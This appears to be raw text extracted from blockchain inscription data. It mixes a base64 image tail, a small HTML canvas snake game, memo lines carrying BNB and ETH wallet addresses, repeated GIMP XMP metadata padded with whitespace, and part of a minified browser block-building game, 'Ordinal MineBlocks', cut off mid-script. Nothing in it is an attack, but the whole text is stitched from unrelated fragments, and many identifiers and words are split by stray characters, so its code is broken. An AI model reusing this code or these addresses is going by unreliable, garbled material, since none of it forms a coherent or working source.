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
0MNW9pzoDr7yai6tfW7i/PPbv5hly5YV42effXba9+Xrq10MJAodNEBQCjRAUCKOAWlywTDf1kmU0bo4OJcuDObxxSgdG5rQQQMEpUADBCXiGII87khp/3jbimb/FHN1zXPdaoxox4WZ0EEDBKVAAwQl4ghi/d0NY4ql/ZlHdI8++uiwpzDJ4sWLhz0FZjEdNEBQCjRAUCIOaGjXrl2l45UrVw5hNsxmOmiAoHTQjKS8c12yZMlAz52fz0VC+kkHDRCUAg0QlIijoW2bPtj+oexJdBXm6q3Z/TLoWAOGQQcNEJQCDRCUiKNCZZSxo7vj5Q/ev/Ka9q9d3AFU0UEDBKVAAwQl4uiVibNSSik9saH++wTL4g5Rx+hwqzeDooMGCEqBBghKxHGAYvVG1U0or0QZVRZuab/eSdzRcuXDVnaMCs/i6L0N688oxg8++GDfz7dz587spzf0/Xzd0kEDBKVAAwQl4piBPMIo00nc0Rrnz+qg2qhECscff/ywp8AsoIMGCEoHM
PQN5h1ymyUXCueDNJ783++mWlFJK27evHc5k+mzr1q3F+IR33DLEmQzf0mPaF+FOOumkYpxfDNyy7eZBTimlg1877cv5RcuBzy2jgwYISoEGCErEMQO9uEg4V7Xjjtn/8X9ytEPLv/3HQ8OeQkoppYd/9Nywp1BJBw0QlAINEJSIg6Hy8X9uGcRt3L0QZZ46aICgFGiAoEQcB1i/+fqUUkrbNmUbK55sV3ejSidat3h7gh1wIB00QFAKNEBQIo6mah7kX/fUOoBO6aABgtJBV2hdLEypswuGre2ddMr5s59dHASq6KABglKgAYIScXQgjztSyqKPFZ3/+sQaQFM6aICgFGiAoEQcM7D+7gZRxdL+zQOYnXTQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEFZBw301datW0u3T6xeM+CZTC/iPHXQAEEp0ABBzamII/+osuO2tcX4gXuGMZvhuKls2+Y59Z9BaPm/T7QIgMHTQQMEpUADBDU2sXrNvmFPAoCpdNAAM
QSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABB/T9if6ZRqIciJwAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(M
Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEM
ach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snakeL
.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
Bj@=:BNB.BNB:bnb1dtkv207u9utm92rqqkq957ukyetdlz83u6tukf:15507386::0
Aj?=:ETH.ETH:0x49327C04013AFCc8F53DAB4Ec9cAbe44fD5950cb:6247108::0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XM
MP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:b0718c07-fdf8-4e07-8cbc-11e705145034" xmpMM:InstanceID="xmp.iid:524ba0b9-1a93-4994-8918-2a2c9M
7204047" xmpMM:OriginalDocumentID="xmp.did:ecb7c780-2f25-498c-869e-ab4c7d335209" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412998216103" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:16:36+11:00" xmp:ModifyDate="2023:02:15T09:16:36+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:f3a1c0cd-6b12-4405-bbf7-64c30664fcc3" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEM
vt:when="2023-02-15T09:16:38"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        LZ                                                                       <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> M
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:ea13beaf-3636-4bc3-a1f0-f2840fb59929" xmpMM:InstanceID="xmp.iid:7549264b-edcf-4ce9-8919-f1cbea01caa0" xmpMM:OriginaM
lDocumentID="xmp.did:da320928-dd2a-43aa-a803-dd63fbb5b6d1" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412962438547" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:16:00+11:00" xmp:ModifyDate="2023:02:15T09:16:00+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:067223f6-f840-4710-b80d-38e881543031" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09M
:16:02"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        D                                                 <?xpacket end="w"?>h!
CjA=:BNB.BNB:bnb1udyqg067wr27pdnteparr3cvy365hmc6aa6z5k:6348377:te:0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/M
" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:dc684a9b-cf80-4d96-a2f3-ee6c04a1a57e" xmpMM:InstanceID="xmp.iid:f6deb076-8687-4920-b89a-343b68d772e6" xmpMM:OriginalDocumentID="xmp.did:52f63ebf-56d0-48ba-af0e-4de00d19e3e4" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413026613950" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:17:05+11:00" xmp:ModifyDate="2023:02:15T09:17:05+11:00"> <xmpMM:HistoM
ry> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:92e631f4-4c81-4f05-8823-c04729af12b4" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:17:06"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                 <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpM
MM:DocumentID="gimp:docid:gimp:280a85b2-303a-4530-9460-4ad8e43cf385" xmpMM:InstanceID="xmp.iid:e9cb2945-e95c-4564-a008-ebe47c1c727c" xmpMM:OriginalDocumentID="xmp.did:c3e1af8d-7b8c-46a5-80e3-81371916caab" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413238152527" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:20:36+11:00" xmp:ModifyDate="2023:02:15T09:20:36+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEM
vt:changed="/" stEvt:instanceID="xmp.iid:dbeeec2a-74d1-4c7f-a5db-b53fbd892f22" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:20:38"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                                   <?xpacket end="w"?>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
FjDOUT:BF1A6BA883EBDE4D48FD9CF66E550764A8C8CE6CFDF68D2A110935E57833386B
zTXtRaw profile type exif
fzTXtRaw profile type iptc
uiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:GIMP="http://www.gimp.org/xmp/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="gimp:docid:gimp:48895aa2-93d9-4211-a4ea-14fac38608e0"
   xmpMM:InstanceID="xmp.iid:31c14c20-0c10-414c-970a-ca666d75df8b"
   xmpMM:OriginalDocumentID="xmp.did:c60b435e-a3fe-403d-a55d-a464099a0052"
c:Format="image/png"
   GIMP:Platform="Linux"
   GIMP:TimeStamp="1676449084445043"
   GIMP:Version="2.10.30"
   tiff:Orientation="1"
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:e529d179-1bdd-4846-a37c-3dbda1905c30"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-04-17T06:07:54"/>
      stEvt:action="saved"
      stEvt:changed="/"
nceID="xmp.iid:75b0a3e9-7088-4e96-9152-80571761718a"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-04-18T05:09:47"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:0100ca48-2a64-4764-af9f-1538fe9feca3"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-04-26T05:43:04"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:8bd58b07-9f89-4e49-89c3-a5aa2fdcdad1"
      stEvt:softwareAM
gent="Gimp 2.10 (Windows)"
      stEvt:when="2022-05-08T02:06:22"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:c8709cb2-95b5-475b-8743-6273249249c3"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-07-25T11:05:34"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:88b3dd66-e326-456f-b54e-880048b6af03"
      stEvt:softwareAgent="Gimp 2.10 (Linux)"
      stEvt:when="2023-02-15T11:18:04+03:00"/>
  </rdf:Description>




                                     M





                                                    M





                                                                   M





                                                                                  M

59.37.100 libvpx-vp9g
59.37.100 libvpx-vp9g
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
